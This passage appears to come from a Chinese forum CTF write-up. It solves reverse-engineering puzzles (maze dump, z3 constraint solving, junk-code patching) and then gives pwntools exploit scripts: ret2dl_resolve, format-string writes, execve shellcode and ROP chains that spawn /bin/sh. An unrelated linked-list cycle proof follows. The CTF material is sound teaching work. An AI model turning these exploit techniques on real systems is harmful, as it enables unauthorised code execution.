    { 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01};按照迷宫得到的解并不对,我们仔细查看内存发现调用了一些反调试的函数,根据回溯,回溯到
    100010C2 /0F85 D8000000 jnz 100011A0100010C8 |E8 B3130000 call 10002480100010CD |85C0 test eax,eax100010CF |74 11 je short 100010E2100010D1 |B9 19000000 mov ecx,0x19100010D6 |BE C0710110 mov esi,0x100171C0100010DB |BF 30720110 mov edi,0x10017230这里会因为反调试来修改迷宫数组,在修改之前dump真正的迷宫
    01 00 01 01 01 01 01 01 01 01 01 00 01 00 00 00 01 01 01 01 01 00 00 00 01 00 01 01 01 01 01 0101 01 01 00 01 01 01 01 01 01 01 01 00 00 00 00 00 01 01 01 01 01 00 01 01 01 00 01 01 01 01 0101 00 00 00 00 01 01 01 01 01 01 00 01 01 01 01 01 01 01 01 01 00 00 00 00 01 01 01 01 01 01 0101 01 00 01得到解
    ssddwddsssdddssaaassddds
    输入得到flag
    81dsa65edckyqutiaghjw3w2
    LoginToMe拖入ida看下就这么些代码
    int __cdecl main(int argc, const char **argv, const char **envp){ unsigned int v3; // eax unsigned __int16 s; // [rsp+10h] [rbp-70h] unsigned __int16 v6; // [rsp+12h] [rbp-6Eh] int v7; // [rsp+14h] [rbp-6Ch] int v8; // [rsp+18h] [rbp-68h] unsigned __int16 v9; // [rsp+1Ch] [rbp-64h] unsigned __int16 v10; // [rsp+1Eh] [rbp-62h] unsigned __int16 v11; // [rsp+20h] [rbp-60h] unsigned __int16 v12; // [rsp+22h] [rbp-5Eh] int v13; // [rsp+70h] [rbp-10h] int v14; // [rsp+74h] [rbp-Ch] int v15; // [rsp+78h] [rbp-8h] int i; // [rsp+7Ch] [rbp-4h] memset(&s, 0, 0x60uLL); v13 = 0; printf("input:", argv, &v14, argv); __isoc99_scanf("%s", &s); if ( strlen((const char *)&s) == 20 ) { v3 = time(0LL); srand(v3); v15 = rand() % 100; for ( i = 0; i < v15; ++i ) ; if ( s * v6 != 342772773 || s + v6 != 39526 || v7 - v8 != 1005712381 || (unsigned __int16)v7 + HIWORD(v7) != 56269 || (unsigned __int16)v8 - HIWORD(v8) != 15092 || (char)v7 * (char)v8 != 0x29D6 || SBYTE2(v7) * SBYTE2(v8) != 12051 || SHIBYTE(v7) + SHIBYTE(v8) != 172 || v9 * v10 != 171593250 || v9 + v10 != 26219 || v11 * v12 != 376306868 || v11 + v12 != 40341 ) { puts("check failed~!"); } else { puts("check ok~!"); } } return 1;}
    对输入的flag进行了条件判断,根据上述条件求解即可。
    #-*- coding:utf-8 –*-from z3 import *#定义变量a = Int('a')b = Int('b')c = Int('c')d = Int('d')e = Int('e')f = Int('f')m = Int('m')n = Int('n')p = Int('p')q = Int('q')solver = Solver()# 设置变量范围solver.add(a >= 0)solver.add(b >= 0)solver.add(a < 0xffff)solver.add(b < 0xffff)solver.add(c >= 0)solver.add(d >= 0)solver.add(c < 0xffff)solver.add(d < 0xffff)solver.add(e >= 0)solver.add(f >= 0)solver.add(e < 0xffff)solver.add(f < 0xffff)solver.add(m >= 0)solver.add(n >= 0)solver.add(m < 0xffffffff)solver.add(n < 0xffffffff)# 设置表达式solver.add(a*b == 0x146E4C25)solver.add(a+b == 0x9a66)solver.add(c*d == 0xa3a4e22)solver.add(c+d == 0x666b)solver.add(e*f == 0x166dfcb4)solver.add(e+f == 0x9d95)solver.add(m-n == 0x3BF1F3FD)solver.add(m%0x10000 +m/0x10000 ==0xDBCD)solver.add(n%0x10000 -n/0x10000 ==0x3AF4)#获取结果print("solving...")if(solver.check()==sat): print solver.model()
    [f = 14644, b = 12849, a = 26677, d = 13625, n = 947221353, m = 1952933734, c = 12594, e = 25697]exp
    #-*- coding:utf-8 –*-from z3 import *#定义变量a = Int('a')b = Int('b')c = Int('c')d = Int('d')e = Int('e')f = Int('f')m = Int('m')n = Int('n')p = Int('p')q = Int('q')solver = Solver()# 设置变量范围solver.add(a >= 0)solver.add(b >= 0)solver.add(a < 0xffff)solver.add(b < 0xffff)solver.add(c >= 0)solver.add(d >= 0)solver.add(c < 0xffff)solver.add(d < 0xffff)solver.add(e >= 0)solver.add(f >= 0)solver.add(e < 0xffff)solver.add(f < 0xffff)solver.add(m >= 0)solver.add(n >= 0)solver.add(m < 0xffffffff)solver.add(n < 0xffffffff)# 设置表达式solver.add(a*b == 0x146E4C25)solver.add(a+b == 0x9a66)solver.add(c*d == 0xa3a4e22)solver.add(c+d == 0x666b)solver.add(e*f == 0x166dfcb4)solver.add(e+f == 0x9d95)solver.add(m-n == 0x3BF1F3FD)solver.add(m%0x10000 +m/0x10000 ==0xDBCD)solver.add(n%0x10000 -n/0x10000 ==0x3AF4)#获取结果print("solving...")if(solver.check()==sat): print solver.model()
    又拍苍蝇本题修改自山东省赛拍苍蝇,大大降低了难度,只需要将苍蝇拍完毕即可得到Flag。每个苍蝇中包含了一个secret值,当苍蝇被拍死的时候(对话框销毁的时候),才会初始化这个secret值,所以就算定位到了苍蝇是否死活的标志位进行强制修改也无效,当拍死的苍蝇数量达到24只的时候,会依次计算每个苍蝇携带的secret值,跟一个全局变量循环右移索引位,然后异或,然后根据索引从这个dowrd中取一位放到flag中。由于添加的花指令,所以需要先去除之后才方便分析,花指令特征
    EB14EA50EB0BEA8BC4A8017406EB0BEA??660FD64424EBEBEEEA4C58
    脚本如下:
    VAR CodeBaseVAR CodeSizeBPHWCALLBPHWCBCGMI eip, CODEBASEMOV CodeBase,$RESULTGMI eip, CODESIZEMOV CodeSize,$RESULTvar junk_addrlab_find:find CodeBase,#EB14EA50EB0BEA8BC4A8017406EB0BEA??660FD64424EBEBEEEA4C58#,CodeSizemov junk_addr,$RESULTcmp junk_addr,0jz exitMOV [junk_addr],#90909090909090909090909090909090909090909090909090909090#jmp lab_findexit:RET之后od就清晰了,根据success字符串定位到关键地方,cl是索引
    012D30CD B8 775F123C mov eax,0x3C125F77012D30D2 D3C8 ror eax,cl012D30D4 3382 E0000000 xor eax,dword ptr ds:[edx+0xE0]012D30DA 8985 6CFFFFFF mov dword ptr ss:[ebp-0x94],eax012D30E0 90 nop012D3118 8BC1 mov eax,ecx012D311A 25 03000080 and eax,0x80000003012D311F 79 05 jns short Fly.012D3126012D3121 48 dec eax012D3122 83C8 FC or eax,0xFFFFFFFC012D3125 40 inc eax012D3126 8A8405 6CFFFFFF mov al,byte ptr ss:[ebp+eax-0x94]012D312D 88840D 70FFFFFF mov byte ptr ss:[ebp+ecx-0x90],al定位初始secret的地方
    借助xspy定位消息响应函数
    Message map: 0x0058880C (Fly3.exe+ 0x18880c )Message map entries: 0x00588818 (Fly3.exe+ 0x188818 )OnMsg:WM_TIMER(0113),func= 0x00404E30 (Fly3.exe+ 0x004e30 )OnMsg:WM_LBUTTONDOWN(0201),func= 0x00405150 (Fly3.exe+ 0x005150 )OnMsg:WM_LBUTTONUP(0202),func= 0x004051D0 (Fly3.exe+ 0x0051d0 )OnMsg:WM_MOUSEHOVER(02a1),func= 0x004051E0 (Fly3.exe+ 0x0051e0 )OnMsg:WM_MOUSELEAVE(02a3),func= 0x00405200 (Fly3.exe+ 0x005200 )OnMsg:WM_MOUSEMOVE(0200),func= 0x00405220 (Fly3.exe+ 0x005220 )OnMsg:WM_LBUTTONDBLCLK(0203),func= 0x004051D0 (Fly3.exe+ 0x0051d0 )定位到数组dwKey
    void __thiscall CFlyWnd::OnLButtonDown(CFlyWnd *this, unsigned int nFlags, CPoint point){ CFlyWnd *v3; // esi int v4; // eax char szOut[100]; // [esp+4h] [ebp-68h] v3 = this; szOut[0] = 0; v4 = this->nIndex; this->is_death = 1; this->secret = dwKey[v4]; memset(&szOut[1], 0, 0x63u); _wsprintfA(szOut, "fly death %d", 1); PostMessageW(v3->m_hWnd, 0x10u, 0, 0); CWnd::Default((CWnd *)&v3->vfptr);}DWORD dwXorKey = 0x3c125f77; DWORD dwKey[100] = { 0x59206b45, 0xfa6d1fde, 0xaa30f5ec, 0x81b4728a, 0x43a213cf, 0x8c85f3cc, 0xe8922b1c, 0xdf191586, 0x4158266a, 0xdfac3b1c, 0xb9ae65f1, 0xde83b273, 0x914ba440, 0xcb8ed8f4, 0x4beac32d, 0x8cd64e10, 0x6b120c25, 0x498df831, 0xa2b9f93d, 0x79d6d0e4, 0x47c640f0, 0xa0c3dbd6, 0x7b4def96, 0x158e8c4d }; char szResult[100] = { 0 }; for (int i = 0; i < 24; i++) { DWORD dwTmp = dwKey[i] ^ CROR(dwXorKey, i); szResult[i] = (PBYTE(&dwTmp))[i % 4]; } printf(szResult);得到flag:204f8ab152a0e8627fd21b01
    本题可以不去进项算法分析,直接模拟点击点掉所有苍蝇即可。
    BOOL CALLBACK EnumWindowProc(HWND hWnd, LPARAM lParam){ char szClassName[100] = { 0 }; GetClassName(hWnd, szClassName, 100); RECT m_rect; GetWindowRect(hWnd, &m_rect); if (strcmp("#32770", szClassName) == 0 && m_rect.bottom - m_rect.top == 60 && m_rect.right - m_rect.left == 60) { SendMessage(hWnd, WM_LBUTTONDOWN, NULL, NULL); } return TRUE;}while (1){ //在某个函数里面调用 EnumWindows(EnumWindowProc, NULL); Sleep(1000);}
    PWNbaby_stack
    没有输出无法leak,没有提供libc,有溢出,考虑ret2dl_resolve可以手组结构,仿造roputils写ret2dl_resolve函数
    #coding=utf8from pwn import *context.log_level = 'debug'p = process('./babystack')binary = ELF('./babystack')def ret2dl_resolve(ELF_obj,func_name,resolve_addr,fake_stage,do_slim=1): jmprel = ELF_obj.dynamic_value_by_tag("DT_JMPREL")#rel_plt relent = ELF_obj.dynamic_value_by_tag("DT_RELENT") symtab = ELF_obj.dynamic_value_by_tag("DT_SYMTAB")#dynsym syment = ELF_obj.dynamic_value_by_tag("DT_SYMENT") strtab = ELF_obj.dynamic_value_by_tag("DT_STRTAB")#dynstr versym = ELF_obj.dynamic_value_by_tag("DT_VERSYM")#version plt0 = ELF_obj.get_section_by_name('.plt').header.sh_addr p_name = fake_stage+8-strtab len_bypass_version = 8-(len(func_name)+1)%0x8 sym_addr_offset = fake_stage+8+(len(func_name)+1)+len_bypass_version-symtab if sym_addr_offset%0x10 != 0: if sym_addr_offset%0x10 == 8: len_bypass_version+=8 sym_addr_offset = fake_stage+8+(len(func_name)+1)+len_bypass_version-symtab else: error('something error!') fake_sym = sym_addr_offset/0x10 while True: fake_ndx = u16(ELF_obj.read(versym+fake_sym*2,2)) if fake_ndx != 0: fake_sym+=1 len_bypass_version+=0x10 continue else: break if do_slim: slim = len_bypass_version - len_bypass_version%8 version = len_bypass_version%8 resolve_data,resolve_call=ret2dl_resolve(ELF_obj,func_name,resolve_addr,fake_stage+slim,0) return (resolve_data,resolve_call,fake_stage+slim) fake_r_info = fake_sym<<8|0x7 reloc_offset=fake_stage-jmprel resolve_data = p32(resolve_addr)+p32(fake_r_info)+func_name+'\x00' resolve_data += 'a'*len_bypass_version resolve_data += p32(p_name)+p32(0)+p32(0)+p32(0x12) resolve_call = p32(plt0)+p32(reloc_offset) return (resolve_data,resolve_call)offset = 0x4cstage = binary.bss()p_ebx_ret = 0x080482c9p3ret = 0x080484a9dl_data,dl_call,stage = ret2dl_resolve(binary,'system',binary.bss()+0x200,stage)pay = 'a'*offsetpay += p32(binary.plt['read'])+p32(p3ret)+p32(0)+p32(stage)+p32(len(dl_data)+8) #读40个字节到base_stagepay += dl_call pay += p32(p_ebx_ret)+p32(stage+len(dl_data)) #伪造条目p.sendline(pay)sleep(1)p.send(dl_data+'/bin/sh\x00')#调用systemp.interactive()

    也可用roputils简化脚本
    #coding:utf-8import sysimport roputilsfrom pwn import *# context.log_level = 'debug'p = process("./baby_stack")elf = ELF("./baby_stack")rop = roputils.ROP('./baby_stack')stage = rop.section('.bss')offset = 0x4cvulFunc = 0x804840bbuf1 = 'A' * offsetbuf1 += p32(elf.symbols['read']) + p32(vulFunc) + p32(0) + p32(stage) + p32(100) p.send(buf1)buf2 = rop.string('/bin/sh')buf2 += rop.fill(20, buf2)buf2 += rop.dl_resolve_data(stage+20, 'system')buf2 += rop.fill(100, buf2)p.send(buf2)buf3 = "A"*offset + rop.dl_resolve_call(stage+20,stage)p.send(buf3)p.interactive()#coding:utf-8import sysimport roputilsfrom pwn import *# context.log_level = 'debug'p = process("./baby_stack")elf = ELF("./baby_stack")rop = roputils.ROP('./baby_stack')stage = rop.section('.bss')offset = 0x4cvulFunc = 0x804840bbuf1 = 'A' * offsetbuf1 += p32(elf.symbols['read']) + p32(vulFunc) + p32(0) + p32(stage) + p32(100)p.send(buf1)buf2 = rop.string('/bin/sh')buf2 += rop.fill(20, buf2)buf2 += rop.dl_resolve_data(stage+20, 'system')buf2 += rop.fill(100, buf2)p.send(buf2)buf3 = "A"*offset + rop.dl_resolve_call(stage+20,stage)p.send(buf3)p.interactive()
    dragon_gamefrom pwn import *# context.log_level = 'debug'p = process("./DragonGame")p.recvuntil("secret[0] is ")addr = int(p.recvuntil("\n")[:-1],16)log.success("addr:"+hex(addr))p.sendlineafter("west?:\n","east")p.sendlineafter("address'\n",str(addr))pause()p.sendlineafter(" is:\n","%233c%7$n") #修改check[0]=233shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" #Linux/x64 Execute /bin/sh Shellcodep.sendlineafter("SPELL\n", shellcode) p.interactive()
    easy_rop
    通过__libc_csu_init()函数来构造gadgets通过设置eax为59调用execve(‘/bin/sh’,NULL,NULL)
    from pwn import *import timep = process("./easy_rop")elf = ELF("./easy_rop")syscall_addr = 0x400582rop_addr1 = 0x4005fa #<__libc_csu_init+90>rop_addr2 = 0x4005e0 #<__libc_csu_init+64>bss_addr = 0x601040offset = 0x18#在bss段写入/bin/sh和syscall的地址rop = ""rop += offset*"A"rop += p64(rop_addr1)rop += p64(0) #rbxrop += p64(1) #rbprop += p64(elf.got['read']) #r12rop += p64(0x20) #r13 #rdxrop += p64(bss_addr) #r14 #rsirop += p64(0) #r15 #rdirop += p64(rop_addr2) #ret #read(0, bss_addr, 0x20)#设置eax为59rop += p64(0)rop += p64(0) #rbxrop += p64(1) #rbprop += p64(elf.got['read']) #r12rop += p64(0x40) #r13 #rdxrop += p64(bss_addr+ 0x10) #r14 #rsirop += p64(0x0) #r15 #rdirop += p64(rop_addr2) #ret #read(0, bss_addr+0x10, 0x40)#execve('/bin/sh', NULL, NULL)rop += p64(0)rop += p64(0)rop += p64(1)rop += p64(bss_addr + 8) #syscallrop += p64(0) #NULLrop += p64(0) #NULLrop += p64(bss_addr) #'/bin/sh'rop += p64(rop_addr2) #execve('/bin/sh', NULL, NULL)sleep(2)p.sendline(rop)#第一次readsleep(1)p.send(("/bin/sh\x00"+p64(syscall_addr)).ljust(0x20,'\x00'))#第二次readsleep(1)p.send("A"*59)sleep(1)p.interactive()
    login
    存在整数溢出,passwd可以输入409长度,当输入大于260长度时也可符合判定,跳到特定函数即可拿flag
    from pwn import *p = process("./login")p.sendlineafter("choice:","1")p.sendlineafter("username:\n","")offset = 24payload = "A"*offsetpayload += p32(0x804868b)payload = payload.ljust(261,"A")p.sendlineafter("passwd:\n",payload)print p.recvall()
    1 留言 2018-11-10 23:06:50 奖励25点积分
  • linked-list-cycle-ii (数学证明)

    题意:略.这个题最关键的点在于后面,如何找到循环开始的节点。
    第一阶段,先用快慢指针找到相遇的节点C。(至于为什么,了解一下欧几里德拓展解决二元不定方程。)A是表头。B是开始循环的位置。
    第一次阶段的公式是:
    2(x+y)=x+y+n(y+z)注意一下:n表示快指针比慢指针多跑了n圈!
    那么两边同时减去 x+y ,则 x+y=n*(y+z); 注意这里 y+z 表示一整圈!
    则 x=(n-1)*y+n*z; (仔细分析这个式子的含义)
    当 n 等于 1 时,是不是 x=z,当 n=2 时,是不是相当于先跑一圈,A-B 剩下的等于 z,依次类推更大的 n。
    所以,当一个指针放在 C 点,第二个指针放在 A 点, 以相同的而速度向前推进时,相等处就是 B 点
    class Solution {public: ListNode *detectCycle(ListNode *head) { if (head == NULL) return NULL; //空表 ListNode *slow = head; ListNode *fast = head; while (fast&&fast->next){ slow = slow->next; fast = fast->next->next; if (slow == fast) break; //相遇 } if (fast == NULL || fast->next == NULL) return NULL; slow = head; while (slow != fast){ slow = slow->next; fast = fast->next; } return slow; }};
    1 留言 2018-11-10 17:06:50 奖励5点积分
显示 270 到 285 ,共 15 条
eject